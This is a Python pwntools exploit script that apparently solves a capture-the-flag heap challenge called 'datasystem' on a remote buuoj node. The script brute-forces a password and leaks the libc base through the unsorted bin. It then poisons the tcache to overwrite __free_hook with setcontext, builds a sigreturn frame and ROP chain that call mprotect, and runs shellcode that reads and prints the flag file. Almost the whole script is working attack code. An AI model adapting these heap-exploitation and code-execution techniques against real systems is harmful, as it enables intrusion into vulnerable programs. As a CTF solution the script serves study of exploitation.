from pwn import * from hashlib import md5 from string import ascii_letters, digits from itertools import permutations import sys
arch = 64 challenge = "./datasystem" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "./libc-2.27.so"
local = int(sys.argv[1]) elf = ELF(challenge)
context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h']
if local: if libc_path_local: io = process(challenge,env = {"LD_PRELOAD":libc_path_local}) libc = ELF(libc_path_local) else: io = process(challenge) else: io = remote("node4.buuoj.cn", 26719) if libc_path_remote: libc = ELF(libc_path_remote)
if arch == 64: context.arch = 'amd64' elif arch == 32: context.arch = 'i386'
def dbg(): context.log_level = 'debug'
def echo(content): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bps = [] pie = 0
def gdba(): if local == 0: return 0 cmd ='set follow-fork-mode parent\n' if pie: base = int(os.popen("pmap {}|awk '{{print ./datasystem}}'".format(io.pid)).readlines()[1],16) cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps]) cmd +='set base={:#x}\n'.format(base) else: cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps]) gdb.attach(io,cmd)
_add,_free,_edit,_show = 1,2,4,3
menu = ">> :"
def add(size, content): sla(menu, str(_add)) sla("Size:", str(size)) sa("Content:", content)
def edit(idx, content): sla(menu, str(_edit)) sla("Index:", str(idx)) sa("Content:", content)
def free(idx): sla(menu, str(_free)) sla("Index:", str(idx))
def show(idx): sla(menu, str(_show)) sla("Index:", str(idx))
def hack_password(): all_letters = ascii_letters + digits + '.,;' for i in range(1, 21): for item in permutations(all_letters, i): item = ''.join(item) if md5(item.encode()).hexdigest()[0:2] == '00': return item.ljust(0x20, '\x00')
def exp(): sa('please input username:', 'admin') sa('please input password:', hack_password())
add(0x10, 'a' * 0x10) add(0x430, 'ub') add(0x10, 'a') free(1)
free(0) add(0x10, 0x20 * 'a') show(0)
leak = uu64(ru('\x7f')[-6:]) - 96 - 0x10 - libc.sym['__malloc_hook'] echo('LIBC BASE:' + hex(leak)) __free_hook = leak + libc.sym['__free_hook'] system = leak + libc.sym['system']
free(0) add(0x10, 0x10 * 'a' + p64(0) + p64(0x441))
add(0x40, 'a') add(0x40, 'a') add(0x40, 'a')
free(4) free(3)
free(1) add(0x40, 0x40 * 'a' + p64(0) + p64(0x51) + p64(__free_hook))
libc_base = leak setcontext_door = libc_base + libc.sym['setcontext'] + 53 free_hook = libc_base + libc.sym['__free_hook'] syscall = libc_base + libc.search(asm("syscall\nret")).next() echo('SYSCALL:' + hex(syscall))
fake_rsp = free_hook & 0xfffffffffffff000 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = fake_rsp frame.rdx = 0x2000 frame.rsp = fake_rsp frame.rip = syscall echo(hex(len(str(frame))))
add(0x40, 'a') add(0x40, p64(setcontext_door))
add(len(str(frame)), str(frame)) free(5)
layout = [ libc_base+libc.search(asm("pop rdi\nret")).next(), free_hook & 0xfffffffffffff000, libc_base+libc.search(asm("pop rsi\nret")).next(), 0x2000, libc_base+libc.search(asm("pop rdx\nret")).next(), 7, libc_base+libc.search(asm("pop rax\nret")).next(), 10, syscall, libc_base+libc.search(asm("jmp rsp")).next(), ]
shellcode = asm(''' sub rsp, 0x800 push 0x67616c66 mov rdi, rsp xor esi, esi mov eax, 2 syscall
cmp eax, 0 js failed
mov edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall
mov edx, eax mov rsi, rsp mov edi, 1 mov eax, edi syscall
jmp exit
failed: push 0x6c696166 mov edi, 1 mov rsi, rsp mov edx, 4 mov eax, edi syscall
exit: xor edi, edi mov eax, 231 syscall ''')
sd(flat(layout) + shellcode)
gdba() pass
exp() ia()
|